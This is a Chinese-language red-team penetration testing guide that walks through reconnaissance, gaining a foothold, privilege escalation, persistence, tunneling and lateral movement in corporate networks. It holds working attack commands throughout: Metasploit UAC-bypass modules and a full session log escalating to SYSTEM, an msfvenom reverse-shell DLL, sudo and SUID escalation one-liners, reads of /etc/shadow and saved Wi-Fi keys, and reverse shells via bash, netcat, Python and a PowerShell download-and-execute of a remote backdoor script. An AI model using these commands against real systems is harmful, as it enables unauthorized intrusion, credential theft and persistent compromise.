一、信息收集
收集的内容包括目标系统的组织架构、IT资产、敏感信息泄露、供应商信息等各个方面,通过对收集的信息进行梳理,定位到安全薄弱点,从而实施下一步的攻击行为。
域名收集
1.备案查询
- 天眼查
- 爱企查
- 官方ICP备案查询
通过以上三个平台,可以查询获得一批主域名、微博、邮箱等。
2.FOFA、Google查询:直接输入公司名称、主域名等进行搜索
domain="xxxx.com"header="xxxx.com"cert="xxxx.com"host="xxxx.com"body="xxxx.com"
3.证书查询
【一个一个地帮助安全学习,所有资源获取处一个一个地】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
4.使用浏览器查询
点击小锁–安全连接–更多信息–查看证书(有些可能没有),可以得到一些主域名以及子域名。
5.dns查询
用dnsdumpster.com查询是否存在自建NS服务器,再将ns名带入https://hackertarget.com/find-shared-dns-servers/
进行查询,可以获得一批主域名:
6.whois查询
通过查询目标的WHOIS信息,对联系人、联系邮箱等信息进行反查以及查看whois历史信息,获取更多相关的域名信息;微步在线也可以根据IP、邮箱等查询历史域名。
7.通过众测平台查询资产范围,在众测平台上有些厂商会把资产范围放出来。
8.通过主域名对子域名进行搜索,可使用工具、搜索引擎等。
*OneForAll:集成多种方式搜集子域名,包括dns查询、证书查询等;*Amass:kali自带,集成多种收集方式,强烈推荐;*[https://crt.sh/](https://crt.sh/):通过证书查找子域名和指纹识别;*[https://dnsdumpster.com](https://dnsdumpster.com):是一个在线实用程序,可以查找子域、目标的DNS记录。
9.直接访问收集到的主域名,对网页上指向的域名链接进行收集(可能会放一些OA等办公系统的跳转)。
10.枚举域名
https://github.com/infosec-au/altdns,Altdns是一个DNS侦察工具,允许发现符合模式的子域。Altdns接收可能出现在域下的子域中的单词(如test、dev、staging),并接收您知道的子域列表。
11.收集应用资产
11.1天眼查、企查查
11.2微信APP搜索(小程序、公众号)
11.3支付宝搜索(小程序、公众号)
11.4工具ENScan(可查询企业APP信息、微信公众号信息、供应商信息等)
11.5APP查找应用商店、豌豆荚(可下载历史app)
11.6PC可通过官网进行查找下载
12.根据前几种方式获取相关IP,然后探测可能存在的C段,可获取一些没有相关联信息的隐藏资产,再通过IP反查域名(https://github.com/Sma11New/ip2domain)
IP收集
1.真实IP查找
CDN判断:
- 多地ping,全球ping,查看解析IP是否一致;
- NSlookup:通过nslookup查看不同DNS域名解析情况来判断是否使用了CDN;
- 在线检测:
https://www.cdnplanet.com/tools/cdnfinder/
; - 通过https证书:有的cdn颁发的证书带有cdn名称,可通过https证书进行cdn识别;
真实IP查找:
- 通过查询历史DNS记录站点在做CDN之前可能将域名解析到真实IP,通过查询DNS历史记录可能会找到CDN使用前的真实IP;
- 子域查询法:CDN服务的使用成本还是挺高的,所以很多的站点只对流量大的主站做了CDN,这种情况下我们通过子域枚举就能获取到子站的真实IP,再进行C段;
- 全球ping:很多CDN厂商因为某些原因仅对国内线路做了解析,这种情况下使用国外主机直接访问就可能获取到真实IP;
- 通过网站漏洞,如:phpinfo;
- 需要找xiaix.me网站的真实IP,我们首先从apnic获取IP段,然后使用Zmap的
banner-grab
扫描出来80端口开放的主机进行banner抓取,最后在http-req
中的Host写xiaix.me; - 利用应用功能,抓取反向连接查找服务器IP,或者根据应用返回/报错查看。
2.通过IP地址注册信息查询:https://ipwhois.cnnic.net.cn/
3.对上面域名解析获得的单个IP输入查询框,会有一个IP范围
4.使用FOFA等互联网资产收集工具直接搜索公司名称
5.C段扫描
- rustscan:速度快;
- goby:图形化直观,支持漏洞验证,端口扫描;
- fscan:速度快,主机存活探测、端口扫描、常见服务的爆破。
敏感信息收集
1.利用Google
- Google常用语法:
site:*.test.cnfiletype:xlsx
学号site:*.test.cnfiletype:docx|pdf|csv|json
- 搜集管理后台:
site:xxx.com
管理、site:xxx.comadmin
、site:xxx.comlogin
搜集mail:site:xxx.comintext:@xxx.com搜集敏感web路径:site:xxx.comintitle
:登录/site:xxx.cominurl:sql.php
site:*.xxx.comintext:Indexof/
- 其他语法:
https://www.exploit-db.com/谷歌-hacking-database
2.利用托管平台,如:GitHub、码云等
GitHub常用语法:
- 敏感信息:
xx.com
“关键字” - 文件搜索:
xxx.comfilename:properties
- 关键字:
Passwordsapi_key“apikeys”authorization_bearer:oauthauthauthenticationclient_secretapi_token:“apitoken”client_idpassworduser_passworduser_passpasscodeclient_secretsecretpasswordhashOTPuserauth
注意事项:如果搜索含有空格的查询,需要用引号将其括起来;
3.目录扫描
- 备份文件/默认后台
- 源码泄露(.git/.svn)
通过上面的收集能拿到:域名、IP、邮箱、姓名、手机号等,但需要验证是否属于该单位资产,以及需要对域名以及IP进行存活探测、端口扫描、web指纹识别、目录扫描等,快速定位到易被攻击的系统,从而实施进一步攻击。
存活探测,敏感资产定位
https://github.com/EASY233/Finger
:一款红队在大量的资产中存活探测与重点攻击系统指纹探测工具;https://github.com/al0ne/Vxscan
:python3写的综合扫描工具,主要用来存活验证,敏感文件探测(目录扫描/js泄露接口/html注释泄露),WAF/CDN识别,端口扫描,指纹/服务识别等;https://github.com/EdgeSecurityTeam/EHole
:在信息收集期间能够快速从C段、大量杂乱的资产中精准定位到易被攻击的系统,从而实施进一步攻击。
二、建立据点
在找到薄弱点后,红队会尝试利用漏洞或社工等方法去获取外网系统控制权限。在这个过程中,红队成员往往会使用最少流量动作去尝试突破边界防御,找到与内网连接的通道,这种由外到内的过程一般称之为纵向渗透,当初步获得权限后,若权限不够会进行提权,在进行稳固权限、建立隧道;
常见打点思路:
- 社工钓鱼:通过在线客服、私信好友等多种交互平台进行社工攻击,以便更加高效地获取业务信息。社工手段的多变性往往会让防守方防不胜防;
- 近源渗透:通过乔装、社工等方式实地物理侵入企业办公区域,通过其内部各种潜在攻击面(如Wi-Fi网络、RFID门禁、暴露的有线网口、USB接口等)获得“战果”;
- 设备、系统应用弱口令;
- 利用边界网络设备、安全设备漏洞,通过设备VPN搭建隧道;
- web漏洞:shiro反序列化、struts2漏洞、Log4j漏洞、Spring框架漏洞、逻辑漏洞、中间件漏洞等;
- 利用小程序、公众号、APP漏洞;
- 对CMS、备份泄露的源代码进行审计,使用0Day;
- 利用旁站、子公司、供应链进行迂回打击。
内网信息收集点
Windows
1.本机信息收集(涉及判断:我是谁?我在哪?这是哪?)
ipconfig/all--网卡配置systeminfo--系统补丁信息等echo%PROCESSOR_ARCHITECTURE%--系统体系结构wmicproductgetname,version--安装软件、版本、路径wmicservicelistbrief--查询本机服务信息tasklist-svc--进程查看schtasks/query/folist/v--任务计划查询netstatisticsworkstation--开机时间netuser--查看用户whoami/all--SID等用户信息netlocalgroupadministrators--查看管理员组中的用户netsession--会话查看netstat-ano--网络连接以及通过端口判断服务netshare--共享routeprint--路由信息arp-a--arp信息cmdkey/l--登录历史hosts文件Linux:/etc/hostsWindows:c:\Windows\system32\drivers\etc\hostsipconfig/displaydns--dns缓存netview--查看共享dir/s/b"pass""user""config""username.""password."--命令行查找敏感文件findstr/s/m"password"*.*--寻找包含密码字段的文件,如数据库密码文件netuser/domain--查看域用户nettime/domain--查看时间服务器(可能为DC)netgroup"domainadmins"/domain--查看域管理员netgroup"domaincontrollers"/domain--查看域控制器
2.常见默认配置文件位置
*Tomcat:CATALINA_HOME/conf/tomcat-users.xml;*Apache:/etc/httpd/conf/httpd.conf;*Nginx:/etc/nginx/nginx.conf;*Wdcp:/www/wdlinux/wdcp/conf/mrpw.conf;*Mysql:mysql\data\mysql\user.MYD。
3.SPN
SPN:服务主体名称,使用Kerberos须为服务器注册SPN,因此可以在内网中扫描SPN,快速寻找内网中注册的服务。
setspn-Tdomain.com-Q*/*
4.会话、连接收集
netsession//需要管理员权限,列出或断开本地计算机和与之连接的客户端的会话Navicat//注册表HKEY_CURRENT_USER\SOFTWARE\PremiumSoftxshell//连接记录,可能回存在使用sshkey登录的主机
5.浏览器下载记录、书签、浏览历史以及浏览器保存的密码等
github:https://github.com/djhohnstein/SharpChromium//cookie,passwd,history查看
6.WIFI密码
cmd:for/f"skip=9tokens=1,2delims=:"%iin('netshwlanshowprofiles')do@echo%j|findstr-i-vecho|netshwlanshowprofiles%jkey=clear
7.任务计划(有些任务执行时需要将用户名和密码一起附上)、远程桌面连接记录等
Linux(CentOS7)
1.系统版本信息
uname-ahostnamectl
2.系统环境变量
cat/etc/profilecat/etc/bashrccat.bash_profilecat.bashrccat.bash_logoutenvset
3.服务、网络连接以及进程
ps-aux//进程topcat/etc/servicessystemctlstatusssh//查看某个服务是否在运行chkconfig--list//查看所有的服务状态netstat-aunplt//网络连接arp-eroute
4.查看安装程序
rpm-qayumlistinstalled
5.常见配置、敏感文件
find/-name*.confcat/etc/my.conf//mysql数据库cat/etc/httpd/conf/httpd.conf//apachetomcat-users.xml//tomcat/etc/samba/smb.conf//sambacat/etc/resolv.conf//DNS域名解析cat/etc/sysconfig/networkcat/etc/hostscat/var/apache2/config.inccat/var/lib/mysql/mysql/user.MYDcat/root/anaconda-ks.cfg/etc/sysconfig/iptables//iptables规则
6.查看任务计划
crontab-l//查看任务计划,有部分恶意任务计划需要crontab-e编辑才能看到查看anacron异步定时任务:cat/etc/anacrontabcat/var/log/cron查看任务计划日志cat/etc/crontabcat/etc/cron.d/cat/etc/cron.daily/cat/etc/cron.hourly/cat/etc/cron.weekly/cat/etc/cron.monthly/cat/var/spool/cron/servicecronstatus#通过任务计划执行的服务
7.可能有哪些纯文本用户名和密码
grep-iuser[filename]grep-ipass[filename]grep-C5"password"[filename]find.-name"*.php"-print0|xargs-0grep-i-n"var$password"#Joomla
8.用户信息
cat/etc/passwdcat/etc/shadowls/home//家目录last//登录成功用户wcat/etc/sudoersls-alh/var/mail/
9.历史记录
historycat/root/.viminfo//vim使用记录cat.bash_historycat.nano_historycat.atftp_historycat.mysql_historycat.php_historycat.python_history
提权
1.基本概念
Windows常见权限分类:
*User:普通用户权限;*Administrator:管理员权限;*System:系统权限。
Linux权限分类:
*User:普通用户权限;*www-data:Web服务的权限,比User还要低,一般通过Web漏洞获取的Webshell就是这个权限;*root:Linux系统最高权限。
通常有两种提权方式,纵向提权及横向提权;纵向提权指的是低权限角色获取高权限角色的权限、横向提权指在系统A中获取了系统B中同级别的角色权限。常用提权方法有系统内核溢出漏洞提权、服务器中间件漏洞提权、数据库提权、其它第三方组件提权。
2.Windows提权
2.1提权辅助脚本
http://bugs.hacking8.com/tiquan/```将systeminfo输出的修补程序信息填入查询可利用的漏洞,查出漏洞后可在https://github.com/SecWiki/windows-kernel-exploits/查找下载利用程序进行提权;
2.2msf提权
2.2.1使用getsystem(权限为Administrator时大概率会成功,其他可能需要绕UAC)
①进程注入方式UACuseexploit/windows/local/bypassuacsetpayloadwindows/meterpreter/reverse_tcpsetLHOST=192.168.1.8setsession1exploit在执行getsystem②内存注入useexploit/windows/local/bypassuac_injectionsetpayloadwindows/meterpreter/reverse_tcpsetLHOST=192.168.1.8setsession1exploit在执行getsystem③Eventvwr注册表项useexploit/windows/local/bypassuac_eventvwr④COM处理程序劫持useexploit/windows/local/bypassuac_comhijack
2.2.2会话派发到msf使用suggester辅助脚本提权
meterpreter>getuid//查看权限Serverusername:HACK\testusermeterpreter>background//当前激活的shell切换到后台[*]Backgroundingsession1...msf5exploit(multi/handler)>searchsuggester//查找辅助提权模块MatchingModules================#NameDisclosureDateRankCheckDescription----------------------------------------0post/multi/recon/local_exploit_suggesternormalNoMultiReconLocalExploitSuggestermsf5exploit(multi/handler)>use0msf5post(multi/recon/local_exploit_suggester)>sessions//查看会话Activesessions===============IdNameTypeInformationConnection-------------------------------1meterpreterx86/windowsHACK\testuser@WIN-1EVLV0JUJD6192.168.43.6:8866->192.168.43.87:49394(192.168.43.87)msf5post(multi/recon/local_exploit_suggester)>setsession1//设置会话session=>1msf5post(multi/recon/local_exploit_suggester)>exploit[*]192.168.43.87-Collectinglocalexploitsforx86/windows...[*]192.168.43.87-30exploitchecksarebeingtried...[]192.168.43.87-exploit/windows/local/bypassuac_eventvwr:Thetargetappearstobevulnerable.[]192.168.43.87-exploit/windows/local/ms10_092_schelevator:Thetargetappearstobevulnerable.[]192.168.43.87-exploit/windows/local/ms13_053_schlamperei:Thetargetappearstobevulnerable.[]192.168.43.87-exploit/windows/local/ms13_081_track_popup_menu:Thetargetappearstobevulnerable.[]192.168.43.87-exploit/windows/local/ms14_058_track_popup_menu:Thetargetappearstobevulnerable.[]192.168.43.87-exploit/windows/local/ms15_051_client_copy_image:Thetargetappearstobevulnerable.[]192.168.43.87-exploit/windows/local/ms16_032_secondary_logon_handle_privesc:Theserviceisrunning,butcouldnotbevalidated.[]192.168.43.87-exploit/windows/local/ppr_flatten_rec:Thetargetappearstobevulnerable.[*]Postmoduleexecutioncompleted//以上为查找出来的可利用的漏洞msf5post(multi/recon/local_exploit_suggester)>useexploit/windows/local/ms16_032_secondary_logon_handle_privesc//选择上面的任意一个漏洞模块进入msf5exploit(windows/local/ms16_032_secondary_logon_handle_privesc)>showoptions//查看需要设置的参数Moduleoptions(exploit/windows/local/ms16_032_secondary_logon_handle_privesc):NameCurrentSettingRequiredDescription--------------------------------------SESSIONyesThesessiontorunthismoduleon.Exploittarget:IdName------0Windowsx86msf5exploit(windows/local/ms16_032_secondary_logon_handle_privesc)>setsession1session=>1msf5exploit(windows/local/ms16_032_secondary_logon_handle_privesc)>exploit[*]StartedreverseTCPhandleron192.168.43.6:4444[]Compressedsize:1016[!]Executing32-bitpayloadon64-bitARCH,usingSYSWOW64powershell[*]Writingpayloadfile,C:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1...[*]Compressingscriptcontents...[]Compressedsize:3596[*]Executingexploitscript...______________________[*]Sendingstage(180291bytes)to192.168.43.87|V|_|_||_|___||_|_|||_|_||_|.|___|||_|_||_|_|_|___|_____|___||___|___|___|[byb33f->@FuzzySec][?]Operatingsystemcorecount:4[>]DuplicatingCreateProcessWithLogonWhandle[?]Done,usingthreadhandle:1212[*]Sniffingoutprivilegedimpersonationtoken..[?]Threadbelongsto:svchost[]Threadsuspended[>]Wipingcurrentimpersonationtoken[>]BuildingSYSTEMimpersonationtoken[?]Success,openSYSTEMtokenhandle:1208[]Resumingthread..[*]SniffingoutSYSTEMshell..[>]DuplicatingSYSTEMtoken[>]Startingtokenrace[>]Startingprocessrace[!]HolyhandleleakBatman,wehaveaSYSTEMshell!!mzCdEBgemRgjV7PHoMA8c4KLG2nLKesP[]Executedontargetmachine.[*]Meterpretersession2opened(192.168.43.6:4444->192.168.43.87:49513)at2022-06-0109:30:280800[]DeletedC:\Users\testuser\AppData\Local\Temp\GLDpeYcGYT.ps1meterpreter>getuid//再次查看权限已为systemServerusername:NTAUTHORITY\SYSTEMmeterpreter>其他提权模块:exploit/windows/local/unquoted_service_pathsetsession1Exploit-juseexploit/windows/local/service_permissionssetsessions1runuseexploit/windows/local/always_install_elevatedsetsessions1run
2.3提权
**适用版本:**Windows7、8、10、2008、2012
SweetPotato.exe-awhoami
2.4DLL劫持提权
使用msf生成一个DLL,替换掉应用的dll,等待应用重启(需要提前在本地测试)
msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=192.168.115.34LPORT=35650-fdll
3.Linux提权
3.1内核溢出提权
- uname-a查看系统版本和内核信息
- 使用searchsploit在kali查找相关内核漏洞
3.2sudo提权
sudo--version//查看版本sudo-l//查看当前用户可以使用的sudo的命令程序
常规提权:(需要当前用户密码,如果管理员在/etc/sudoers配置了某些命令免密码使用,则可以利用该命令进行提权)
利用find
sudofind.-exec/bin/sh\;-quit或者sudoawk'BEGIN{system("/bin/sh")}'
python命令提权sudopython-c'importpty;pty.spawn("/bin/bash")'
其他漏洞CVE-2019-14287、CVE-2021-3156
3.3suid提权
①查找具有suid权限文件:
find/-userroot-perm-4000-print2>/dev/nullfind/-perm-u=s-typef2>/dev/nullfind/-userroot-perm-4000-execls-ldb{}\;
执行命令:
findfilename-execwhoami\;//以SUID即root权限执行命令如果是/usr/bin/bash执行bash-p//将以root权限打开一个bashshell
②nmap(旧版本的Nmap(2.02到5.21)具有交互模式,允许用户执行shell命令)
nmap-v//查看版本root@localhost:~#nmap--interactive//交互模式nmap>!shroot@localhost:~#whoamiroot
③vim
Vim的主要用途是作为文本编辑器。但是,如果它作为SUID运行,它将继承root用户的权限,因此它可以读取系统上的所有文件。
vim.tiny/etc/shadow//读取文件vim来打开shellvim.tiny#PressESCkey:setshell=/bin/sh:shell
3.4su
sudosu-#使用root用户登录,不用输入root密码即可切换利用python获取交互Shellpython-c'importpty;pty.spawn("/bin/sh")'sudosu
3.5任务计划
ls-l/etc/cron*cat/etc/crontab
在发现有一些计划任务时,我们就可以去检查是否存在一些问题导致权限的提升;
如权限配置不当777的执行脚本,则可以修改脚本内容进行提权;
权限维持
1.反弹shell
ncattackhost:nc-lvp9999target:/bin/bash-i&>/dev/tcp/192.168.0.198/9999<&1netcatnc-e/bin/bash192.168.0.1989999powershell将ps1放到attackhost上powershell.exe-execbypass-c"IEX(New-ObjectNet.WebClient).DownloadString('http://192.168.0.1/Backdoor.ps1');Invoke-PowerShellTcp-Reverse-IPAddress192.168.0.1-port9999pythonpython-c'importsocket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.1",9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2.webshell
①内存马隐藏
②通过attrib隐藏文件,在使用ADS流隐藏webshell需要和文件包含配合
3.系统后门
Windows
①利用任务计划定时反弹会话
②利用开机启动项
③影子账户以及guest账户
④注册表
⑤系统工具后门(shift后门)
⑥WMI后门
⑦DLL劫持
⑧进程注入
Linux
①ssh、openssh后门
②任务计划
③VIM后门
④添加超级用户
⑤SUID后门
⑥利用自启动程序
⑦rootkit后门
4.利用IIS等服务制作后门维持权限
常用隧道建立工具
4.1探测是否出网
- ICMP:pingIP;
- TCP:nc-zvip端口;
- HTTP:curlwww.xxx;
- DNS:nslookup[www.百度.com]
4.2网络层常用隧道
4.2.2IPv6隧道
kali自带,6tunnel是一个隧道工具,可以从ipv6到ipv4,也能从ipv4到ipv6。
使用:
首先开启目标机上的IPV6,ipconfig查看ipv6地址
kali:6tunnel-480targetipv6IP80#这条命令的含义就是将目标机的80端口(目标机使用IPV6地址)转发到本机的80端口上(本机使用IPV4地址)转发成功后,访问本机80端口便可以访问到目标机上正在运行的web服务;
4.3传输层常用隧道
4.3.1IOX
github:https://github.com/EddieIvan01/iox
使用,比如我们将内网的3389端口转发到我们的attackhost:
target:./ioxfwd-r192.168.0.100:3389-r*1.1.1.1:8888-k656565#-k启用加密vps:./ioxfwd-l*8888-l33890-k656565
socks代理
修改/etc/proxychains.conf
在本地0.0.0.0:1080
启动Socks5服务
./ioxproxy-l1080
在被控机开启Socks5服务,将服务转发到公网attackhost
在attackhost上转发0.0.0.0:9999
到0.0.0.0:1080
你必须将两条命令成对使用,因为它内部包含了一个简单的协议来控制回连
./ioxproxy-r1.1.1.1:9999./ioxproxy-l9999-l1080//注意,这两个端口是有顺序的
接着连接内网主机
#proxychains.conf#socks5://1.1.1.1:1080$proxychainsrdesktop192.168.0.100:3389
4.4应用层常用隧道
4.4.1SSH
SSH常用参数:
-C压缩传输-f后台执行SSH-N建立静默连接-g允许远程主机连接本地用于转发的端口-L本地端口转发-R远程端口转发-D动态转发-P指定SSH端口
4.4.2本地端口转发
//攻击机:192.168.1.1web服务器:192.168.1.2数据库服务器:192.168.1.3,攻击机无法访问数据库服务器,但可以访问web服务器且已获得web服务器的权限,web服务器和数据库服务器可以互相访问的场景
攻击机执行:ssh-fCNg-L2022:192.168.1.1:3389root@192.168.1.2-p22//攻击机去连接web服务器,连上之后由web服务器去连接数据库服务器的3389端口并把数据通过SSH通道传给攻击机,此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面
4.4.3远程转发
//攻击机无法访问数据库服务器,也无法访问web服务器但已获得web服务器的权限,web服务器和数据库服务器可以互相访问,web服务器可以访问具有公网IP的攻击机,通过访问攻击机本机的2022端口来访问数据库服务器的3389端口
在web服务器上执行:ssh-CfNg-R2022:192.168.1.3:3389root@192.168.1.1
此时在攻击机访问本地2022端口即可打开数据库服务器的远程桌面
4.4.4动态转发
①攻击机执行:ssh-CfNg-D2022root@192.168.1.2
②本地设置socks代理后即可访问数据库服务器
4.6DNS(iodine)
要使用此隧道,您需要一个真实的域名(如mydomain.com),以及一个具有公共IP地址的服务器以在其上运行iodined;
三、横向移动
通常进入内网后,同样会进行内网信息收集、域内信息收集,在通过收集的信息进行内网漫游横向渗透扩大战果,在内网漫游过程中,会重点关注邮件服务器权限、OA系统权限、版本控制服务器权限、集中运维管理平台权限、统一认证系统权限、域控权限等位置,尝试突破核心系统权限、控制核心业务、获取核心数据,最终完成目标突破工作。
内网主机存活探测
1.ICMP
Windows:for/l%iin(1,1,255)do@ping192.168.1.%i-w1-n1|find/i"ttl="C:\Users\test>for/l%iin(1,1,255)do@ping192.168.1.%i-w1-n1|find/i"ttl="来自192.168.1.1的回复:字节=32时间=2msTTL=254来自192.168.1.3的回复:字节=32时间=127msTTL=64来自192.168.1.5的回复:字节=32时间=14msTTL=64Linux:foriin$(seq1255);doping-c2192.168.1.$i|grep"ttl"|awk-F"[:]"'{print$4}';doneroot@localhost:~#foriin$(seq1255);doping-c2192.168.1.$i|grep"ttl"|awk-F"[:]"'{print$4}';done192.168.1.1192.168.1.3192.168.1.5
4.nmap
ARP扫描:nmap-PR-sn192.168.1.0/24ICMP扫描:nmap‐sP‐PI192.168.1.0/24‐T4SNMP扫描:nmap-sU--scriptsnmp-brute192.168.1.0/24-T4UDP扫描:nmap-sU-T5-sV--max-retries1192.168.1.1-p500NetBIOS扫描:nmap--scriptnbstat.nse-sU-p137192.168.1.0/24-T4
内网主机端口探测
1.单个端口探测
telnetE:\ipscan>telnet10.10.25.17680正在连接10.10.25.176...无法打开到主机的连接。在端口80:连接失败NCroot@localhost:~#nc-vv10.10.12.16222Connectionto10.10.12.16222port[tcp/ssh]succeeded!SSH-2.0-OpenSSH_8.2p1Ubuntu-4ubuntu0.5
2.多个端口探测
fscanhttps://github.com/shadow1ng/fscanfscan.exe-h192.168.1.1/24-p1-65535
通过代理后使用nmap、msf进行扫描
横向移动方法:
- 利用ms17010等系统漏洞
- 对跳板机密码进行抓取,使用抓取到密码爆破内网其他主机
- 利用EDR、堡垒机、云管平台、vmwareesxi等集权系统漏洞
- 使用内网邮件服务进行邮件钓鱼
- 利用IPC$横向移动
- smb爆破
- 对管理端口、数据库进行弱口令爆破
- 未授权访问漏洞
- 域渗透相关漏洞
- 虚拟机逃逸
- …
从信息收集、建立据点到横向移动,以上红队常用的攻击方法及路径;企业可以从中反思审查自身安全漏洞,补齐和完善应有的防御措施,力求从多方位全面保障自身安全。